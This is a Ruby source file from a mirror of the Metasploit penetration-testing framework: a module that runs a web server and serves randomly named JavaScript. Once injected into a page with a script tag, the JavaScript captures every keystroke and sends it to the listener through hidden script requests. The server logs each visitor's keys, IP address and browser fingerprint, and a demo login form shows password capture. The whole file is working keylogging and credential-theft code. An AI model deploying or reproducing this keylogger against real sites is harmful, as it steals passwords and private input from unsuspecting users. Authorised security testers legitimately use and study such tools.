PageRenderTime 47ms CodeModel.GetById 14ms RepoModel.GetById 0ms app.codeStats 0ms

/modules/auxiliary/server/capture/http_javascript_keylogger.rb

https://gitlab.com/0072016/metasploit-framework-rapid7
Ruby | 306 lines | 233 code | 57 blank | 16 comment | 30 complexity | 3df38e5ca2c9611809f5acbcb4cdd5a7 MD5 | raw file
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5. require 'msf/core'
  6. class MetasploitModule < Msf::Auxiliary
  7. include Msf::Exploit::Remote::HttpServer::HTML
  8. def initialize(info = {})
  9. super(update_info(info,
  10. 'Name' => 'Capture: HTTP JavaScript Keylogger',
  11. 'Description' => %q{
  12. This modules runs a web server that demonstrates keystroke
  13. logging through JavaScript. The DEMO option can be set to enable
  14. a page that demonstrates this technique. Future improvements will
  15. allow for a configurable template to be used with this module.
  16. To use this module with an existing web page, simply add a
  17. script source tag pointing to the URL of this service ending
  18. in the .js extension. For example, if URIPATH is set to "test",
  19. the following URL will load this script into the calling site:
  20. http://server:port/test/anything.js
  21. },
  22. 'License' => MSF_LICENSE,
  23. 'Author' => ['Marcus J. Carey <mjc[at]threatagent.com>', 'hdm']
  24. ))
  25. register_options(
  26. [
  27. OptBool.new('DEMO', [true, "Creates HTML for demo purposes", false]),
  28. ], self.class)
  29. end
  30. # This is the module's main runtime method
  31. def run
  32. @seed = Rex::Text.rand_text_alpha(12)
  33. @client_cache = {}
  34. # Starts Web Server
  35. print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
  36. exploit
  37. end
  38. # This handles the HTTP responses for the Web server
  39. def on_request_uri(cli, request)
  40. cid = nil
  41. if request['Cookie'].to_s =~ /,?\s*id=([a-f0-9]{4,32})/i
  42. cid = $1
  43. end
  44. if not cid and request.qstring['id'].to_s =~ /^([a-f0-9]{4,32})/i
  45. cid = $1
  46. end
  47. data = request.qstring['data']
  48. unless cid
  49. cid = generate_client_id(cli,request)
  50. print_status("Assigning client identifier '#{cid}'")
  51. resp = create_response(302, 'Moved')
  52. resp['Content-Type'] = 'text/html'
  53. resp['Location'] = request.uri + '?id=' + cid
  54. resp['Set-Cookie'] = "id=#{cid}"
  55. cli.send_response(resp)
  56. return
  57. end
  58. base_url = generate_base_url(cli, request)
  59. #print_status("#{cli.peerhost} [#{cid}] Incoming #{request.method} request for #{request.uri}")
  60. case request.uri
  61. when /\.js(\?|$)/
  62. content_type = "text/plain"
  63. send_response(cli, generate_keylogger_js(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"})
  64. when /\/demo\/?(\?|$)/
  65. if datastore['DEMO']
  66. content_type = "text/html"
  67. send_response(cli, generate_demo(base_url, cid), {'Content-Type'=> content_type, 'Set-Cookie' => "id=#{cid}"})
  68. else
  69. send_not_found(cli)
  70. end
  71. else
  72. if data
  73. nice = process_data(cli, request, cid, data)
  74. script = datastore['DEMO'] ? generate_demo_js_reply(base_url, cid, nice) : ""
  75. send_response(cli, script, {'Content-Type' => "text/plain", 'Set-Cookie' => "id=#{cid}"})
  76. else
  77. if datastore['DEMO']
  78. send_redirect(cli, "/demo/?cid=#{cid}")
  79. else
  80. send_not_found(cli)
  81. end
  82. end
  83. end
  84. end
  85. # Figure out what our base URL is based on the user submitted
  86. # Host header or the address of the client.
  87. def generate_base_url(cli, req)
  88. port = nil
  89. host = Rex::Socket.source_address(cli.peerhost)
  90. if req['Host']
  91. host = req['Host']
  92. bits = host.split(':')
  93. # Extract the hostname:port sequence from the Host header
  94. if bits.length > 1 and bits.last.to_i > 0
  95. port = bits.pop.to_i
  96. host = bits.join(':')
  97. end
  98. else
  99. port = datastore['SRVPORT'].to_i
  100. end
  101. prot = (!! datastore['SSL']) ? 'https://' : 'http://'
  102. if Rex::Socket.is_ipv6?(host)
  103. host = "[#{host}]"
  104. end
  105. base = prot + host
  106. if not ((prot == 'https' and port.nil?) or (prot == 'http' and port.nil?))
  107. base << ":#{port}"
  108. end
  109. base << get_resource
  110. end
  111. def process_data(cli, request, cid, data)
  112. lines = [""]
  113. real = ""
  114. Rex::Text.uri_decode(data).split(",").each do |char|
  115. byte = char.to_s.hex.chr
  116. next if byte == "\x00"
  117. real << byte
  118. case char.to_i
  119. # Do Backspace
  120. when 8
  121. lines[-1] = lines[-1][0, lines[-1].length - 1] if lines[-1].length > 0
  122. when 13
  123. lines << ""
  124. else
  125. lines[-1] << byte
  126. end
  127. end
  128. nice = lines.join("<CR>").gsub("\t", "<TAB>")
  129. real = real.gsub("\x08", "<DEL>")
  130. if not @client_cache[cid]
  131. fp = fingerprint_user_agent(request['User-Agent'] || "")
  132. header = "Browser Keystroke Log\n"
  133. header << "=====================\n"
  134. header << "Created: #{Time.now.to_s}\n"
  135. header << "Address: #{cli.peerhost}\n"
  136. header << " ID: #{cid}\n"
  137. header << " FPrint: #{fp.inspect}\n"
  138. header << " URL: #{request.uri}\n"
  139. header << "\n"
  140. header << "====================\n\n"
  141. @client_cache[cid] = {
  142. :created => Time.now.to_i,
  143. :path_clean => store_loot("browser.keystrokes.clean", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Clean)"),
  144. :path_raw => store_loot("browser.keystrokes.raw", "text/plain", cli.peerhost, header, "keystrokes_clean_#{cid}.txt", "Browser Keystroke Logs (Raw)")
  145. }
  146. print_good("[#{cid}] Logging clean keystrokes to: #{@client_cache[cid][:path_clean]}")
  147. print_good("[#{cid}] Logging raw keystrokes to: #{@client_cache[cid][:path_raw]}")
  148. end
  149. ::File.open( @client_cache[cid][:path_clean], "ab") { |fd| fd.puts nice }
  150. ::File.open( @client_cache[cid][:path_raw], "ab") { |fd| fd.write(real) }
  151. if nice.length > 0
  152. print_good("[#{cid}] Keys: #{nice}")
  153. end
  154. nice
  155. end
  156. def generate_client_id(cli, req)
  157. "%.8x" % Kernel.rand(0x100000000)
  158. end
  159. def generate_demo(base_url, cid)
  160. # This is the Demo Form Page <HTML>
  161. html = <<EOS
  162. <html>
  163. <head>
  164. <title>Demo Form</title>
  165. <script type="text/javascript" src="#{base_url}/#{@seed}.js?id=#{cid}"></script>
  166. </head>
  167. <body bgcolor="white">
  168. <br><br>
  169. <div align="center">
  170. <h1>Keylogger Demo Form</h1>
  171. <form method=\"POST\" name=\"logonf\" action=\"#{base_url}/demo/?id=#{cid}\">
  172. <p><font color="red"><i>This form submits data to the Metasploit listener for demonstration purposes.</i></font>
  173. <br><br>
  174. <table border="0" cellspacing="0" cellpadding="0">
  175. <tr><td>Username:</td> <td><input name="username" size="20"></td> </tr>
  176. <tr><td>Password:</td> <td><input type="password" name="password" size="20"></td> </tr>
  177. </table>
  178. <p align="center"><input type="submit" value="Submit"></p></form>
  179. <br/>
  180. <textarea cols="80" rows="5" id="results">
  181. </textarea>
  182. </div>
  183. </body>
  184. </html>
  185. EOS
  186. return html
  187. end
  188. # This is the JavaScript Key Logger Code
  189. def generate_keylogger_js(base_url, cid)
  190. targ = Rex::Text.rand_text_alpha(12)
  191. code = <<EOS
  192. var c#{@seed} = 0;
  193. window.onload = function load#{@seed}(){
  194. l#{@seed} = ",";
  195. if (window.addEventListener) {
  196. document.addEventListener('keypress', p#{@seed}, true);
  197. document.addEventListener('keydown', d#{@seed}, true);
  198. } else if (window.attachEvent) {
  199. document.attachEvent('onkeypress', p#{@seed});
  200. document.attachEvent('onkeydown', d#{@seed});
  201. } else {
  202. document.onkeypress = p#{@seed};
  203. document.onkeydown = d#{@seed};
  204. }
  205. }
  206. function p#{@seed}(e){
  207. k#{@seed} = (window.event) ? window.event.keyCode : e.which;
  208. k#{@seed} = k#{@seed}.toString(16);
  209. if (k#{@seed} != "d"){
  210. #{@seed}(k#{@seed});
  211. }
  212. }
  213. function d#{@seed}(e){
  214. k#{@seed} = (window.event) ? window.event.keyCode : e.which;
  215. if (k#{@seed} == 9 || k#{@seed} == 8 || k#{@seed} == 13){
  216. #{@seed}(k#{@seed});
  217. }
  218. }
  219. function #{@seed}(k#{@seed}){
  220. l#{@seed} = l#{@seed} + k#{@seed} + ",";
  221. var t#{@seed} = "#{targ}" + c#{@seed};
  222. c#{@seed}++;
  223. var f#{@seed};
  224. if (document.all)
  225. f#{@seed} = document.createElement("<script name='" + t#{@seed} + "' id='" + t#{@seed} + "'></script>");
  226. else {
  227. f#{@seed} = document.createElement("script");
  228. f#{@seed}.setAttribute("id", t#{@seed});
  229. f#{@seed}.setAttribute("name", t#{@seed});
  230. }
  231. f#{@seed}.setAttribute("src", "#{base_url}?id=#{cid}&data=" + l#{@seed});
  232. f#{@seed}.style.visibility = "hidden";
  233. document.body.appendChild(f#{@seed});
  234. if (k#{@seed} == 13 || l#{@seed}.length > 3000)
  235. l#{@seed} = ",";
  236. setTimeout('document.body.removeChild(document.getElementById("' + t#{@seed} + '"))', 5000);
  237. }
  238. EOS
  239. return code
  240. end
  241. def generate_demo_js_reply(base_url, cid, data)
  242. code = <<EOS
  243. try {
  244. document.getElementById("results").value = "Keystrokes: #{data}";
  245. } catch(e) { }
  246. EOS
  247. return code
  248. end
  249. end